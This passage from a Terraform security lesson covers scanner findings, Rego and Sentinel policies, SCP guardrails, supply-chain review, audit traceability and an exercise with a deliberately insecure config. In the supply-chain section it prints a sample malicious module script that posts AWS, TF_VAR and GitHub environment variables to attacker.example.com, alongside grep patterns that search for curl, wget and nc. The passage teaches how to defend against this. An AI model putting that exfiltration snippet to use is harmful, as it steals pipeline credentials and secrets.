	FAILED for resource: aws_db_instance.this
	File: /main.tf:34-52

Check: CKV_AWS_133: "Ensure that RDS instances has backup policy"
	FAILED for resource: aws_db_instance.this
	File: /main.tf:34-52

Check: CKV_AWS_129: "Ensure that respective logs of Amazon RDS are enabled"
	FAILED for resource: aws_db_instance.this
	File: /main.tf:34-52

Check: CKV_AWS_260: "Ensure no security groups allow ingress from 0.0.0.0:0 to port 80"
	FAILED for resource: aws_security_group.web
	File: /network.tf:8-24

Passed checks: 14, Failed checks: 6, Skipped checks: 0

The corrections, finding by finding

# --- CKV_AWS_19 and CKV_AWS_21: a bucket with no encryption or versioning ---
resource "aws_s3_bucket" "images" {
  bucket = "${var.base_name}-images-${var.suffix}"
}

resource "aws_s3_bucket_server_side_encryption_configuration" "images" {
  bucket = aws_s3_bucket.images.id
  rule {
    apply_server_side_encryption_by_default {
      sse_algorithm     = "aws:kms"
      kms_master_key_id = var.kms_key_arn     # own key: control over who decrypts
    }
    bucket_key_enabled = true
  }
}

resource "aws_s3_bucket_versioning" "images" {
  bucket = aws_s3_bucket.images.id
  versioning_configuration { status = "Enabled" }
}

# Added even though Checkov did not ask for it: public access block.
# It is the protection that avoids the most frequent press headline.
resource "aws_s3_bucket_public_access_block" "images" {
  bucket                  = aws_s3_bucket.images.id
  block_public_acls       = true
  block_public_policy     = true
  ignore_public_acls      = true
  restrict_public_buckets = true
}
# --- CKV_AWS_16, 133 and 129: RDS with no encryption, no backups, no logs ---
resource "aws_db_instance" "this" {
  identifier = "${var.base_name}-db-${var.suffix}"
  engine     = "postgres"

  # CKV_AWS_16. It CANNOT be enabled in place: changing it REPLACES
  # the instance. On an existing DB it requires a snapshot, an encrypted
  # restore and a migration window. It is never a one-line change.
  storage_encrypted = true
  kms_key_id        = var.kms_key_arn

  # CKV_AWS_133. In prod, 30 days.
  backup_retention_period = var.retention_days
  backup_window           = "03:00-04:00"
  copy_tags_to_snapshot   = true

  # CKV_AWS_129. Without logs there is no way to investigate an incident
  # or to demonstrate that there was not one.
  enabled_cloudwatch_logs_exports = ["postgresql", "upgrade"]

  # Added on our own judgement, not because of the scanner:
  performance_insights_enabled          = var.environment == "prod"
  performance_insights_kms_key_id       = var.environment == "prod" ? var.kms_key_arn : null
  auto_minor_version_upgrade            = true
  deletion_protection                   = var.environment == "prod"
  iam_database_authentication_enabled   = true   # role-based access, no password
  manage_master_user_password           = true   # pattern B from section 7

  lifecycle {
    prevent_destroy = true
  }
}
# --- CKV_AWS_260: a security group open to the internet ---

# The original finding:
resource "aws_security_group" "web" {
  ingress {
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]     # FAULT
  }
}

# The correction has two parts, and the second is the important one:
#
# 1. The web tier is NOT exposed directly. Only the load balancer
#    accepts traffic from the internet, and only on 443.
resource "aws_security_group" "load_balancer" {
  name_prefix = "${var.base_name}-alb-"
  vpc_id      = var.vpc_id

  ingress {
    description = "Public HTTPS: EcoMarket is an online shop"
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]     # LEGITIMATE, and documented
  }

  ingress {
    description = "HTTP only to redirect to HTTPS"
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }
}

# 2. The instances only accept traffic FROM THE LOAD BALANCER.
resource "aws_security_group" "web" {
  name_prefix = "${var.base_name}-web-"
  vpc_id      = var.vpc_id

  ingress {
    description     = "Only from the load balancer"
    from_port       = 8080
    to_port         = 8080
    protocol        = "tcp"
    security_groups = [aws_security_group.load_balancer.id]   # ← not a CIDR
  }
}

Here the central problem of static analysis appears, and the reason for the next section. The load balancer's group has 0.0.0.0/0 and it is correct: EcoMarket is a public online shop. Checkov will flag it all the same, and there are only two ways out: suppress the finding (with the risks from section 10) or write a policy that expresses the real rule, which is not «nothing open to the internet» but:

A port may be open to the internet if it is 80 or 443 and the resource is a load balancer. Any other port open to 0.0.0.0/0 is blocked.

A generic rule from a catalogue cannot express that. A policy of your own can.

  1. Policy as code over the plan: OPA and Conftest

Here the literal promise gets paid: controls and not good intentions.

Mechanism Who can switch it off? Is it a control?
A precondition in the code Whoever writes the change, by deleting the block No
A terraform test test Whoever writes the change, by deleting the file No
A scanner suppression Whoever writes the change, with a comment No
A policy in the pipeline Only whoever can change the pipeline and the policies (with security CODEOWNERS) Yes
A cloud organisation policy (SCP, Azure Policy) Only the organisation's root account Yes, the strongest

The difference is not one of technical quality: it is one of who holds the key. The first three live in the same repository and under the control of whoever makes the change. The last two do not.

OPA, Rego and Conftest

  • OPA (Open Policy Agent) is a general-purpose policy engine.
  • Rego is its language: declarative, oriented towards querying JSON documents.
  • Conftest is the tool that applies Rego policies to configuration files, including a Terraform plan's JSON.

The complete flow:

# 1. Generate the plan.
terraform plan -out=app.tfplan -var-file=environments/prod.tfvars

# 2. Convert it to JSON: ALL the values already resolved.
terraform show -json app.tfplan > plan.json

# 3. Evaluate the policies. A non-zero exit code
#    if there are violations: the pipeline stops there.
conftest test --policy ci/policies/ --parser json plan.json

Policy 1: ports open to the internet

# ci/policies/public_network.rego
package main

import future.keywords.contains
import future.keywords.if
import future.keywords.in

# --- Policy configuration ---

# The ONLY ports that may be open to the internet.
allowed_public_ports := {80, 443}

# And only on resources that are a load balancer, identified by
# their Role tag. An instance with 443 open does NOT pass.
allowed_exposed_roles := {"load-balancer", "cdn"}

internet_ranges := {"0.0.0.0/0", "::/0"}

# --- Extracting the relevant changes from the plan ---

# Only what is created or updated is examined: what is destroyed
# cannot open anything, and what does not change already passed through here.
network_changes contains resource if {
	some resource in input.resource_changes
	resource.type in {"aws_security_group", "aws_security_group_rule", "aws_vpc_security_group_ingress_rule"}
	some action in resource.change.actions
	action in {"create", "update"}
}

# --- Rule 1: standalone rules (aws_security_group_rule) ---

deny contains msg if {
	some resource in network_changes
	resource.type == "aws_security_group_rule"
	after := resource.change.after
	after.type == "ingress"

	some cidr in after.cidr_blocks
	cidr in internet_ranges

	not public_port_allowed(after.from_port, after.to_port)

	msg := sprintf(
		"BLOCKED: %s opens the port range %d-%d to %s. Only %v are allowed, and only on load balancers. If you need external access to another port, the route is a bastion or a VPN: talk to [email protected].",
		[resource.address, after.from_port, after.to_port, cidr, allowed_public_ports],
	)
}

# --- Rule 2: ingress blocks inside aws_security_group ---

deny contains msg if {
	some resource in network_changes
	resource.type == "aws_security_group"
	after := resource.change.after

	some rule in after.ingress
	some cidr in rule.cidr_blocks
	cidr in internet_ranges

	not public_port_allowed(rule.from_port, rule.to_port)

	msg := sprintf(
		"BLOCKED: security group %s opens %d-%d to %s. Allowed public ports: %v.",
		[resource.address, rule.from_port, rule.to_port, cidr, allowed_public_ports],
	)
}

# --- Rule 3: even 80 and 443 only on load balancers ---
# This is the rule the generic scanner CANNOT express and that
# resolves the conflict from section 11.

deny contains msg if {
	some resource in network_changes
	resource.type == "aws_security_group"
	after := resource.change.after

	some rule in after.ingress
	some cidr in rule.cidr_blocks
	cidr in internet_ranges

	# The port IS one of the allowed ones...
	public_port_allowed(rule.from_port, rule.to_port)

	# ...but the resource is NOT marked as exposed.
	role := object.get(after.tags, "Role", "no-role")
	not role in allowed_exposed_roles

	msg := sprintf(
		"BLOCKED: %s opens port %d to the internet, but its Role tag is '%s'. Only %v may be exposed. Instances receive traffic FROM THE LOAD BALANCER, with security_groups, not with cidr_blocks.",
		[resource.address, rule.from_port, role, allowed_exposed_roles],
	)
}

# --- Rule 4: a warning, not a block, for very broad private ranges ---

warn contains msg if {
	some resource in network_changes
	after := resource.change.after
	some cidr in object.get(after, "cidr_blocks", [])
	cidr == "10.0.0.0/8"

	msg := sprintf(
		"WARNING: %s allows the whole 10.0.0.0/8 range. Consider narrowing it to the VPC (10.20.0.0/16).",
		[resource.address],
	)
}

# --- Helper function ---

public_port_allowed(from_port, to_port) if {
	from_port == to_port                # a single port, not a range
	from_port in allowed_public_ports
}

Policy 2: mandatory tagging

# ci/policies/tags.rego
package main

import future.keywords.contains
import future.keywords.if
import future.keywords.in

mandatory_tags := {"Project", "Environment", "ManagedBy", "Owner"}

# Types that do not accept tags: it makes no sense to demand them.
untaggable_types := {
	"aws_iam_role_policy_attachment",
	"aws_security_group_rule",
	"aws_route",
	"aws_s3_bucket_versioning",
	"aws_s3_bucket_public_access_block",
	"random_pet",
	"terraform_data",
}

deny contains msg if {
	some resource in input.resource_changes
	"create" in resource.change.actions
	not resource.type in untaggable_types
	startswith(resource.type, "aws_")

	tags := object.get(resource.change.after, "tags_all", {})
	missing := mandatory_tags - object.keys(tags)
	count(missing) > 0

	msg := sprintf(
		"BLOCKED: %s does not carry the mandatory tags %v. Without Owner nobody knows who to alert during an incident, and without Project the invoice cannot be broken down. They are applied via the provider's default_tags (see 07-01 §5).",
		[resource.address, missing],
	)
}

# The tag's environment must match the deployment's:
# it catches the classic "I applied prod with dev.tfvars".
deny contains msg if {
	some resource in input.resource_changes
	"create" in resource.change.actions
	tags := object.get(resource.change.after, "tags_all", {})
	resource_environment := object.get(tags, "Environment", "")
	resource_environment != ""
	resource_environment != input.variables.environment.value

	msg := sprintf(
		"BLOCKED: %s would be tagged Environment=%s but the environment being deployed is %s. Check the -var-file and the -backend-config.",
		[resource.address, resource_environment, input.variables.environment.value],
	)
}

tags_all and not tags is a detail that matters: tags contains only the ones written on the resource, whereas tags_all includes those from the provider's default_tags (05-02). Using tags would produce a false block on every resource that relies on default tagging, which is almost all of them.

Policy 3: protecting the irreversible

# ci/policies/destructive.rego
package main

import future.keywords.contains
import future.keywords.if
import future.keywords.in

# Types whose destruction means data loss.
types_with_data := {
	"aws_db_instance", "aws_rds_cluster", "aws_s3_bucket",
	"aws_ebs_volume", "aws_efs_file_system", "aws_dynamodb_table",
	"aws_elasticache_replication_group",
}

deny contains msg if {
	input.variables.environment.value == "prod"
	some resource in input.resource_changes
	resource.type in types_with_data
	"delete" in resource.change.actions

	msg := sprintf(
		"BLOCKED: the plan DESTROYS %s in production. A resource holding data is not destroyed from a pipeline. Procedure: a verified snapshot, approval from platform and from the business, an announced window and an assisted manual run. Contact: [email protected]",
		[resource.address],
	)
}

# Removing a protection is a security change, not a cleanup.
deny contains msg if {
	input.variables.environment.value == "prod"
	some resource in input.resource_changes
	"update" in resource.change.actions
	resource.change.before.deletion_protection == true
	resource.change.after.deletion_protection == false

	msg := sprintf(
		"BLOCKED: %s removes deletion_protection in production. It requires explicit approval from the security team and a PR of its own, separate from any other change.",
		[resource.address],
	)
}

That last rule is the one that would have stopped the PR in exercise 2 of 07-02 without depending on there being an alert reviewer.

Running it and the output

$ conftest test --policy ci/policies/ --parser json plan.json

FAIL - plan.json - main - BLOCKED: aws_security_group.web opens port 5432 to
the internet, but its Role tag is 'application'. Only {"load-balancer", "cdn"}
may be exposed. Instances receive traffic FROM THE LOAD BALANCER, with
security_groups, not with cidr_blocks.

WARN - plan.json - main - WARNING: aws_security_group.internal allows the whole
10.0.0.0/8 range. Consider narrowing it to the VPC (10.20.0.0/16).

2 tests, 0 passed, 1 warning, 1 failure
# In the pipeline: the failure stops the job; the warnings only inform.
conftest test --policy ci/policies/ --parser json plan.json
# exit code 1 → the job fails → the PR cannot be merged

And, like any other code, policies get tested:

# ci/policies/public_network_test.rego
package main

import future.keywords.if

test_blocks_postgres_open_to_the_internet if {
	result := deny with input as {
		"variables": {"environment": {"value": "prod"}},
		"resource_changes": [{
			"address": "aws_security_group.db",
			"type": "aws_security_group",
			"change": {
				"actions": ["create"],
				"after": {
					"tags": {"Role": "data"},
					"ingress": [{"from_port": 5432, "to_port": 5432, "cidr_blocks": ["0.0.0.0/0"]}],
				},
			},
		}],
	}
	count(result) == 1
}

test_allows_https_on_the_load_balancer if {
	result := deny with input as {
		"variables": {"environment": {"value": "prod"}},
		"resource_changes": [{
			"address": "aws_security_group.load_balancer",
			"type": "aws_security_group",
			"change": {
				"actions": ["create"],
				"after": {
					"tags": {"Role": "load-balancer"},
					"ingress": [{"from_port": 443, "to_port": 443, "cidr_blocks": ["0.0.0.0/0"]}],
				},
			},
		}],
	}
	count(result) == 0
}
conftest verify --policy ci/policies/

A policy with no tests may block nothing at all and nobody would notice: it would be exactly the «good intention» we are trying to avoid, only written in Rego.

  1. Sentinel in HCP Terraform

Sentinel is HashiCorp's own policy engine, built into HCP Terraform and Terraform Enterprise. It covers the same gap as OPA with two relevant differences.

# policies/require-rds-encryption.sentinel
import "tfplan/v2" as tfplan

rds_instances = filter tfplan.resource_changes as _, rc {
	rc.type is "aws_db_instance" and
		rc.mode is "managed" and
		rc.change.actions contains "create"
}

encryption_rule = rule {
	all rds_instances as _, instance {
		instance.change.after.storage_encrypted is true
	}
}

main = rule { encryption_rule }
Aspect OPA / Conftest Sentinel
Licence Open (Apache 2.0) HashiCorp proprietary
Where it runs Any pipeline HCP Terraform / Enterprise only
Language Rego Sentinel
Enforcement levels Implemented by your pipeline Native: advisory, soft-mandatory, hard-mandatory
Plan data terraform show -json tfplan/v2, tfconfig/v2, tfstate/v2, tfrun
Access to cost estimation No Yes, via tfrun.cost_estimate
Portability Total Tied to the platform

The three enforcement levels are the most useful feature and have no direct equivalent in Conftest:

Level Behaviour
advisory Warns and continues
soft-mandatory Blocks, but an administrator can override it leaving a record
hard-mandatory Blocks with no possible exception

soft-mandatory is especially valuable: it acknowledges that there are sometimes legitimate reasons to bypass a policy, and it makes bypassing it leave a trace instead of forcing people to find an alternative route. It is the same principle as the «recorded emergency door» from 07-02 §6.

The detail of HCP Terraform — workspaces, policy sets, cost estimation, remote runs — belongs to 08-04.

  1. Where policies run and why

The same control placed in different spots has different strength. This table is the summary of the whole lesson.

Layer Example Who can bypass it? Strength
1. Pre-commit hook fmt, gitleaks Anybody with --no-verify Convenience
2. Conditions in the code precondition, check Whoever edits the file Executable documentation
3. Tests terraform test Whoever edits the test file A safety net
4. Human review The 07-02 checklist A reviewer in a hurry Depends on the day
5. Policies in the pipeline Conftest over the plan Whoever changes ci/policies/ (reviewed by security) A control
6. Role permissions The role's IAM policy Whoever administers IAM in the account A strong control
7. Organisational guardrail SCP, Azure Policy, Organization Policy Only the organisation's root account The maximum control
flowchart TD
    C["Code"] -->|"layer 2: conditions<br/>deleted by editing"| P["Plan"]
    P -->|"layer 5: policies<br/>in the PIPELINE"| A["Apply"]
    A -->|"layer 6: role permissions<br/>outside the repository"| N["API call"]
    N -->|"layer 7: SCP / Azure Policy<br/>outside the account"| R["Resource created"]

    C -.->|"layers 2-4 live<br/>in the same repository"| C2["Whoever makes the change<br/>controls them"]
    A -.->|"layers 5-7 live outside"| A2["Whoever makes the change<br/>does NOT control them"]

    style A2 fill:#dcfce7,stroke:#15803d
    style C2 fill:#fee2e2,stroke:#b91c1c

Layer 7: guardrails nobody can bypass

// An SCP applied to the production organisational unit.
// Not even the account administrator can bypass it.
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "NoDisablingAuditLogging",
      "Effect": "Deny",
      "Action": [
        "cloudtrail:StopLogging", "cloudtrail:DeleteTrail",
        "config:DeleteConfigurationRecorder", "guardduty:DeleteDetector"
      ],
      "Resource": "*"
    },
    {
      "Sid": "OnlyAuthorisedRegions",
      "Effect": "Deny",
      "NotAction": ["iam:*", "organizations:*", "route53:*", "cloudfront:*", "support:*"],
      "Resource": "*",
      "Condition": {
        "StringNotEquals": { "aws:RequestedRegion": ["eu-west-1", "eu-west-3"] }
      }
    },
    {
      "Sid": "NoCreatingUnencryptedBuckets",
      "Effect": "Deny",
      "Action": "s3:CreateBucket",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": { "s3:x-amz-server-side-encryption": ["AES256", "aws:kms"] }
      }
    }
  ]
}

The second statement — the region restriction — is worth commenting on: EcoMarket operates in Europe and its data must stay there. An SCP that forbids operating in other regions is at once a compliance control (data residency), a cost control (nobody deploys to an expensive region by mistake) and a security control (an attacker cannot mine cryptocurrency in a region nobody is watching).

In Azure the equivalent is Azure Policy with a Deny effect applied to the management group, and in GCP it is Organization Policies (constraints such as constraints/gcp.resourceLocations or constraints/compute.vmExternalIpAccess). All three mechanisms share the essential property: they live above the account and they are not managed by the same team that deploys.

Warning. SCPs and their equivalents can break legitimate deployments in ways that are hard to diagnose: the error you see is a generic AccessDenied, with no indication that the cause is an organisational policy. They must be designed with the security team, tested in a test organisational unit and documented so that whoever debugs understands the error. Debugging these cases is covered in 09-01.

  1. Supply chain: third-party modules and providers

terraform init downloads code from the internet and runs it on your machine with your credentials. It is an uncomfortable sentence and it is exactly what happens.

The difference between a module and a provider

Aspect Third-party module Third-party provider
What it is HCL code An executable binary
What it can do Create resources, read data, invoke external Anything: network, files, environment variables
Can it be read Yes, it is readable HCL In theory (it is Go), in practice nobody does
Verification None in the public registry GPG signature (official and partner) + hashes in the lock
Is there a lock file No Yes: .terraform.lock.hcl
Relative risk High Critical

The lock-file row is the most important and it is constantly forgotten: there is no lock file for modules. With version = "~> 3.0", a version 3.1.0 published this morning lands in your next init without anybody approving it.

The lock file as a defence

# .terraform.lock.hcl — ALWAYS versioned (07-02 §2)
provider "registry.terraform.io/hashicorp/aws" {
  version     = "5.62.0"
  constraints = "~> 5.60"
  hashes = [
    "h1:kP6tYnVJ8ptKyK7BVJ/uVNVFIPjhBlDGTAoAJBNiKMY=",
    "zh:1f4c852bdb61b3ad4cce8f15b9b56d54b0d0bc6a9f5c4f6e8f5c7a3b2d1e0f9a",
    # ... one hash per platform
  ]
}

What exactly it protects:

  • If the published binary changes for a version that is already pinned — a compromised registry, a man-in-the-middle attack, a tampered mirror — init fails with a hash error. That is the concrete defence against a registry compromise.
  • It pins the exact version for the whole team and for the pipeline: the same code produces the same plan on every machine.
# Generate hashes for ALL platforms, not just yours.
# Without this, the pipeline on Linux fails if the lock was generated on macOS.
terraform providers lock \
  -platform=linux_amd64 \
  -platform=linux_arm64 \
  -platform=darwin_arm64

# Verify that nothing has changed (in the pipeline).
# -lockfile=readonly fails if init would want to modify the lock:
# that would mean something does not match what was reviewed.
terraform init -lockfile=readonly

-lockfile=readonly in the pipeline is the line that turns the lock file into a control. Without it, init updates the lock silently and the protection evaporates. With it, any provider change requires a PR with the updated lock, reviewable and covered by CODEOWNERS.

Assessing somebody else's module

The list from 04-04, now with the security lens:

Check Warning sign
Who maintains it? A personal account with no recent activity
When was the last commit? More than a year untouched, with open issues
Does it have examples/, tests/, a CHANGELOG? None of the three
Does it contain provisioner or data "external"? It runs code on your machine. Read it in full
Does it contain http data sources? It sends data out. Where to and what?
Does it declare its own providers? An unknown provider inside a module is a red flag
Does it create IAM roles? With what permissions? A module can create itself an administrator role
How many resources does it create? A «simple» module with 60 resources deserves a full read
# The minimum review before trusting somebody else's module.
git clone --depth 1 https://github.com/thirdparty/terraform-aws-whatever
cd terraform-aws-whatever

# 1. What runs code: the absolute priority.
grep -rn "provisioner\|local-exec\|remote-exec\|data \"external\"" .

# 2. What goes out to the network.
grep -rn "data \"http\"\|curl\|wget\|nc " .

# 3. What grants permissions.
grep -rn "iam_policy\|iam_role\|\"\\*\"" . | grep -i "action\|resource"

# 4. The providers it declares.
grep -rn -A5 "required_providers" .

The malicious data "external"

Picking up the warning from 04-04 with a concrete example:

# Inside a third-party module. It looks innocent.
data "external" "detect_region" {
  program = ["${path.module}/scripts/region.sh"]
}
#!/bin/bash
# scripts/region.sh — what it really does.
# It returns valid JSON, so Terraform does not complain about anything.
curl -s -X POST https://attacker.example.com/collect \
  -d "$(env | grep -E 'AWS_|TF_VAR_|GITHUB_')" >/dev/null 2>&1 &
echo '{"region":"eu-west-1"}'

That script runs on every plan, with the process's environment variables: the AWS credentials, the TF_VAR_ values holding secrets, the CI's OIDC token. And it leaves no trace at all in the plan.

The three defences, in order of effectiveness:

  1. An internal mirror of modules and providers, with a review before admitting each version. It is the real defence in organisations with security requirements, and the only one that scales.
  2. Exactly pinned versions (version = "3.2.1", not ~> 3.0) for third-party modules, with deliberate, reviewed updates.
  3. Ephemeral CI runners with no more credentials than necessary, so that whatever gets exfiltrated is worth little and expires soon.
# An internal provider mirror: init does not go out to the internet.
# .terraformrc or terraform.rc
provider_installation {
  network_mirror {
    url = "https://artifacts.ecomarket.example.com/terraform/providers/"
  }
  direct {
    exclude = ["registry.terraform.io/*/*"]
  }
}

  1. Compliance, traceability and auditing

Put this lesson together with the change log from 07-02 §12 and you have an auditable system. These are the pieces that were missing.

Mandatory tagging as a control

Tagging stops being a convention once three layers demand it:

Layer Mechanism What happens if it is missing
Automatic application The provider's default_tags It is applied on its own, nobody has to remember
Verification in the pipeline The Rego policy from section 12 The PR cannot be merged
Guardrail in the cloud An aws:RequestTag condition in the role's policy The API call fails: not even with the pipeline bypassed

With all three, an untagged resource is impossible, not improbable.

Traceability: who applied what and when

flowchart LR
    A["PR #412<br/>author, description,<br/>plan attached"] --> B["Approvals<br/>reviewer + CODEOWNERS"]
    B --> C["Policy results<br/>conftest, checkov"]
    C --> D["Protected-environment<br/>approval"]
    D --> E["Pipeline run<br/>id, time, commit"]
    E --> F["STS session<br/>session_name=terraform-prod-412"]
    F --> G["CloudTrail<br/>every API call"]
    G --> H["State version<br/>in S3 with its marker"]

    style F fill:#fef9c3,stroke:#a16207
    style G fill:#e0f2fe,stroke:#0369a1

The piece that joins the Git world to the cloud world is the session_name:

locals {
  # The PR and run identifiers travel all the way to CloudTrail.
  run_identifier = coalesce(
    var.ci_run_id,                    # injected by the pipeline
    "local-${formatdate("YYYYMMDD-hhmm", timestamp())}",
  )
}

provider "aws" {
  assume_role {
    role_arn     = local.terraform_role
    session_name = "tf-${var.environment}-${local.run_identifier}"
  }
}
# And from CloudTrail you get back to the PR that originated it.
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=ResourceName,AttributeValue=ecomarket-prod-db \
  --query 'Events[].{Time:EventTime, What:EventName, Who:Username}'
# {
#   "Time": "2026-03-14T09:12:33Z",
#   "What": "ModifyDBInstance",
#   "Who": "tf-prod-pr412-run1847"      ← PR 412, run 1847
# }

That chain — resource → API call → session → run → PR → author and approvers — is what lets you answer «who changed this and with what authorisation?» in minutes rather than days.

Retention

Artefact Suggested retention Consideration
Git history Indefinite It is the primary evidence
Pipeline logs 1–2 years They contain the plan output
Saved plans (.tfplan) Days They contain secrets: short retention, encrypted, restricted access
State versions in S3 90 days A balance between being able to recover and not accumulating secrets
CloudTrail 1–7 years Usually imposed by regulation
Policy results With the PR Proof that the control ran

The plans row contains the central tension: it is tempting to keep them for a long time «just in case», and every saved plan is a file with passwords in the clear. Short retention and encryption.

Compliance warning. If EcoMarket processes payments (PCI-DSS), personal data of European citizens (GDPR), or is subject to ISO 27001 or a national security framework, the requirements for retention, segregation of duties, change control and incident notification are set by the regulation, not by the platform team. What this lesson provides is the technical ability to produce that evidence. What evidence is needed, for how long and who must approve what is decided by a compliance professional. Implementing technical controls without that validation produces the worst combination: the cost of operating them with no guarantee that they serve any purpose.

  1. Security checklist for reviewing a change

It complements the reviewer's checklist from 07-02 §8, which focuses on what can break. This one focuses on what can open.

Identity and permissions

  • [ ] Does it create or modify roles, policies or trust relationships? → mandatory security review
  • [ ] Does a new "Resource": "*" or "Action": "*" appear?
  • [ ] Does it grant anybody iam:PassRole and, if so, over which roles?
  • [ ] Does it widen any role's trust relationship (sub, Principal)?

Network

  • [ ] Does it open any port to 0.0.0.0/0 or ::/0? Is it 80 or 443 on a load balancer?
  • [ ] Does it assign a public IP to something that was in a private subnet?
  • [ ] Does it create a VPC peering, a gateway or a new endpoint?
  • [ ] Does it modify route tables or network access control lists?

Data and encryption

  • [ ] Is encryption at rest maintained on everything new?
  • [ ] Does it use a customer-managed key where appropriate?
  • [ ] Does any bucket lose its public_access_block?
  • [ ] Does it reduce backup retention?

Secrets

  • [ ] Is there any value that looks like a secret in the diff? (gitleaks must be green)
  • [ ] Does any new secret pass through Terraform and end up in the state?
  • [ ] Does anything sensitive travel through user_data or through metadata?

Logging and auditing

  • [ ] Does it disable or reduce any logging (CloudTrail, VPC Flow Logs, RDS logs)?
  • [ ] Do the new resources carry the mandatory tags, Owner included?

Supply chain

  • [ ] Does it add a new module or provider? Who maintains it? Has it been reviewed?
  • [ ] Does the .terraform.lock.hcl come updated and with hashes for every platform?
  • [ ] Is there any new provisioner, local-exec or data "external"?

Controls

  • [ ] Does it remove or relax any precondition, validation or check? (guards.tf in the diff)
  • [ ] Does it remove prevent_destroy or deletion_protection?
  • [ ] Does it add scanner suppressions? With a reason and an expiry date?
  • [ ] Does it modify ci/policies/? → mandatory security review

The rule that sums up the checklist: if the answer to any identity, network or control question is «yes», the change goes in a PR of its own, separate from everything else, with the security team as a reviewer. Mixing an IAM change with a sizing change guarantees the first will go through without anybody looking at it.

Common Errors and Tips

Believing that sensitive = true protects the secret. It only hides the value in the terminal output. The state stores it in the clear, the plan stores it in the clear and terraform show -json prints it. Tip: always assume that whatever passes through Terraform is in the state, and design so that it does not pass through.

Giving the plan role the same permissions as the apply role. It is the most rewarding change in the whole lesson and it is done in an afternoon: two roles, one read-only for the PRs and the nightly plan, another with write access only for the apply after approval.

A trust relationship with repo:organisation/*. Any repository in the organisation can assume the production role, including one somebody creates tomorrow. The sub condition must name the repository and the environment.

Starting with AdministratorAccess «until it works». Nobody ever goes back. Tip: if you have to start that way, put an expiry date in the calendar and test destroy before restricting, because it needs permissions the apply never uses.

Analysing only the code and not the plan. The code scanner cannot know that var.allowed_ranges is ["0.0.0.0/0"] in prod.tfvars. Tip: code analysis in the local hook, plan analysis in the pipeline.

Suppressions with no reason and no date. They get copied between files, they age and they end up silencing a real problem. Tip: a mandatory format with the ID, the reason, the approver and Expires:, plus an automated check that fails when it lapses.

Confusing a scanner with a policy. The scanner brings generic rules about known bad practices; it cannot express «443 yes, but only on the load balancer». That is a policy of your own in Rego or Sentinel.

Policies with no tests. A badly written Rego policy may block nothing at all. Tip: conftest verify with cases for what it must block and for what it must let through, exactly like the expect_failures from 07-03.

Forgetting -lockfile=readonly in the pipeline. Without it, init updates the lock file silently and the supply-chain defence disappears.

Pinning third-party modules with ~>. There is no lock file for modules: a new version lands in the next init with no review. Tip: an exact version for somebody else's code, ~> for your own.

Storing plans as artefacts with long retention. A six-month-old .tfplan is a file with six-month-old passwords in it. Retention in days, encrypted and with restricted access.

Implementing compliance controls without validating them with a professional. It produces the worst outcome: the cost of operating them with no guarantee that they will serve the audit. Tip: platform builds the technical capability; compliance sets the requirements.

Exercises

Exercise 1: auditing a configuration

This is the state of an EcoMarket configuration before a security review.

# providers.tf
provider "aws" {
  region     = "eu-west-1"
  access_key = var.aws_access_key
  secret_key = var.aws_secret_key
}

# environments/prod.tfvars   (versioned in Git)
aws_access_key = "AKIAIOSFODNN7EXAMPLE"
aws_secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
db_password    = "Ecom2026Prod!"
admin_ranges   = ["0.0.0.0/0"]

# main.tf
resource "aws_db_instance" "main" {
  identifier = "ecomarket-db"
  engine     = "postgres"
  username   = "admin"
  password   = var.db_password
  publicly_accessible = true
}

resource "aws_security_group_rule" "admin" {
  type        = "ingress"
  from_port   = 22
  to_port     = 22
  protocol    = "tcp"
  cidr_blocks = var.admin_ranges
  security_group_id = aws_security_group.web.id
}

resource "aws_s3_bucket" "invoices" {
  bucket = "ecomarket-invoices"
}

# backend.tf
terraform {
  backend "s3" {
    bucket = "ecomarket-state"
    key    = "prod/terraform.tfstate"
    region = "eu-west-1"
  }
}

You are asked to:

  1. List the security problems, ordered by severity, stating for each one which actor from the threat model (section 1) exploits it.
  2. For the three worst, write the remediation procedure in order, distinguishing what is urgent from what can be planned.
  3. Rewrite providers.tf and backend.tf correctly.
  4. State which layer from the section 14 table would have prevented each problem without depending on anybody reviewing it.

Exercise 2: writing a policy in Rego

EcoMarket needs a policy that expresses this rule, which no generic scanner can express:

Every storage volume, database or bucket that gets created must be encrypted with a customer-managed key (not the service's default key) if the environment is prod. In dev and staging default encryption is enough, but an absence of encryption is not accepted in any environment.

You are asked to:

  1. Write the policy in Rego for Conftest, covering aws_db_instance, aws_s3_bucket_server_side_encryption_configuration and aws_ebs_volume.
  2. Write at least four test cases: one that must block, one that must pass in prod, one that must pass in dev and one for a resource being destroyed (it must not block).
  3. Explain why this policy must run over the plan and not over the code.
  4. Explain why it lives in ci/policies/ with security CODEOWNERS and not as a precondition in the data module.

Exercise 3: designing Terraform's identity

EcoMarket is migrating from «everybody has an access key with PowerUserAccess in the three accounts» to a correct model.

Current situation: 6 people on the platform team, 3 accounts (dev ...012, staging ...013, prod ...014), a GitHub Actions pipeline with static keys stored as repository secrets.

You are asked to:

  1. Design the set of roles: how many, in which account, with what permissions and who can assume each one. Include the plan role and the apply role.
  2. Write the trust relationship for the ecomarket-terraform-prod role, with OIDC and an emergency door.
  3. Describe the migration plan in phases, stating in which one the static keys are withdrawn and what has to be verified beforehand.
  4. State what falls outside the scope of the roles and needs an SCP, and write two statements of that SCP with their justification.

Solutions

Solution 1

1. Problems by severity.

# Problem Severity Actor that exploits it
1 Static access keys versioned in Git CRITICAL A secret in the history: anybody with access to the repository — or to the world, if it was public — holds permanent AWS credentials
2 db_password versioned in Git CRITICAL The same. And together with problem 3, reachable from the internet
3 publicly_accessible = true on the database CRITICAL Anybody on the internet: PostgreSQL exposed, with a password that is in Git
4 SSH (22) open to 0.0.0.0/0 CRITICAL Anybody on the internet: scanned and brute-forced within minutes
5 State with no encryption and no locking HIGH An exposed state: no encrypt, no use_lockfile, no KMS. It contains the password in the clear
6 A database with no encryption at rest and no backups HIGH Data loss and a probable regulatory breach
7 The ecomarket-invoices bucket with no encryption, versioning or public access block HIGH Invoices = personal data. A public bucket with invoices is a data breach
8 The admin user with the default name Medium It makes automated attacks easier
